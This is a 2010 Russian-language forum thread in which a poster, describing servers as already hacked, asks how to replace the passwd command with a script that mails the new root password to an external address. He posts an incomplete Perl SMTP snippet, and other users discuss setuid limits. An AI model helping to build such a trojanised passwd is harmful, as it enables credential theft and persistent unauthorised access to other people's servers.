свой скрипт вместо passwd
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
свой скрипт вместо passwd - 2010-10-13 16:49:33.946666
|
|
|
testfreebsd
Сообщений: 4
Оценки: 0
Присоединился: 2010-10-13 16:22:04.606666
|
дано linux/freebsd дедик сервера хакнутые. Хочу чтоб когда меняется пароль рута, на мыло приходило письмо с новым паролем. Пришла идея подменить команду passwd на скрипт в котором меняется сперва пароль а потом высылается на почту. По есть следующее perl скрипт. use Net::SMTP; $smtp = Net::SMTP->new('smtp.mail.ru'); $smtp->mail($ENV{pupkin}); $smtp->to('pupkin@mail.ru'); $smtp->data(); $smtp->datasend("To: postmaster\n"); $smtp->datasend("\n"); $smtp->datasend("A simple test message\n"); $smtp->dataend(); $smtp->quit; Подскажите как подставить в систему этот скрипт и может что подправить надо Спасибо.
|
|
|
RE: свой скрипт вместо passwd - 2010-10-13 20:41:29.260000
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
passwd – это суидная программа. Значит скрипт не покатит. Надо на C писать.
|
|
|
Вброс - 2010-10-13 21:10:29.073333
|
|
|
Pupkin-Zade
Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
|
Вот все и выяснилось Линукс гавно, опен соурс для нищих
|
|
|
RE: Вброс - 2010-10-13 21:53:30.690000
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
Ох ты, я на почтовый адрес в скрипте не обратил внимания, и не догадался, что ТС – это фейк Пупкина.
|
|
|
RE: Вброс - 2010-10-13 22:29:18.656666
|
|
|
testfreebsd
Сообщений: 4
Оценки: 0
Присоединился: 2010-10-13 16:22:04.606666
|
to rgo Не совсем понял ну даже если на С можно покопаться :) to Pupkin-Zade Тоже самое на винде сделаешь?
|
|
|
RE: Вброс - 2010-10-13 22:30:48.146666
|
|
|
Brz
Сообщений: 2024
Оценки: 0
Присоединился: 2010-09-19 12:17:29.423333
|
Думаю, не прокатит..Иначе Фряху - ф топку навеки..
|
|
|
RE: Вброс - 2010-10-13 22:34:20.490000
|
|
|
Brz
Сообщений: 2024
Оценки: 0
Присоединился: 2010-09-19 12:17:29.423333
|
Думаю, не прокатит..Иначе Фряху - ф топку навеки.. В смысле команду подменить не прокатит. Блин, глюцк какой-то..
|
|
|
RE: Вброс - 2010-10-13 22:35:52.583333
|
|
|
testfreebsd
Сообщений: 4
Оценки: 0
Присоединился: 2010-10-13 16:22:04.606666
|
мдя .. все прокатит не флудите без дела, прога пишется под рутом это рас, а ток кто дает рута пусть сперва думает вряха мряха все пишется людьми.
|
|
|
RE: Вброс - 2010-10-13 22:51:54.940000
|
|
|
Brz
Сообщений: 2024
Оценки: 0
Присоединился: 2010-09-19 12:17:29.423333
|
Скрипт под рутом не пишется, а запуститься должен - это рас.А два - ещё с IPFV договориться надо, и в логах у него твоя почта останется.Это тоже минус. Но я в этих делах нуб, так что помолчу лучше…
|
|
|
RE: Вброс - 2010-10-13 23:12:41.230000
|
|
|
testfreebsd
Сообщений: 4
Оценки: 0
Присоединился: 2010-10-13 16:22:04.606666
|
Я в курсе что скрипт запускается под рутом не нюби IPFW, PF и прочих нет
|
|
|
RE: Вброс - 2010-10-14 00:18:55.823333
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
quote:
ORIGINAL: Brz Скрипт под рутом не пишется, а запуститься должен - это рас. Ты попробуй. Вот тебе test-case:root# cat >tmp.sh <<EOF
> #!/bin/bash
> whoami
> EOF
root# cat tmp.sh
#!/bin/bash
whoami
root# chmod +x tmp.sh
root# chmod u+s tmp.sh
root# ls -l tmp.sh
-rwsr-xr-x 1 root root 19 Окт 14 00:11 tmp.sh
root# su rgo -c ./tmp.sh
rgo Я, на самом деле, ещё удивлён тем, что оно вообще запустилось. Помню как-то раз мне надо было, но хрен: суидный скрипт отказался запускаться. Пришлось писать суидный бинарь, который запускал мой скрипт. А, может дело было в том, что у меня интерпретатор был не перечислен в /etc/shells?
|
|
|
|
|